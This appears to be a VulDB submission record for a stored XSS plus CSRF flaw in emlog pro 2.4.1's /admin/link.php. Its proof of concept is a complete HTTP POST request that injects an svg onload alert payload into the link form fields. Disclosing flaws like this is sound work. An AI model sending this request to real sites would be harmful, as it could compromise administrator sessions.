| 标题 | emlog emlog pro 2.4.1 Cross-Site Scripting (XSS) |
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| 描述 | Summary
A stored XSS vulnerability exists in emlog pro 2.4.1 which allows attackers to execute arbitrary HTML code.
Details
Because /admin/link.php has CSRF problems, attackers can use XSS to cooperate with CSRF to attack.
The siteurl and icon parameters have XSS vulnerabilities.
image
POC
POST /admin/link.php?action=save HTTP/1.1
Host: target-ip
Content-Length: 297
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: [admins'cookie]
Connection: keep-alive
sitename=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&siteurl=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&icon=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&description=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&linkid=
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| 来源 | ⚠️ https://github.com/emlog/emlog/issues/307 |
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| 用户 | jiashenghe (UID 39445) |
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| 提交 | 2024-12-13 08時09分 (2 年前) |
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| 管理 | 2024-12-20 13時36分 (7 days later) |
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| 状态 | 已接受 |
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| VulDB条目 | 289082 [Emlog Pro 直到 2.4.1 /admin/link.php siteurl/icon 跨网站脚本] |
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| 积分 | 20 |
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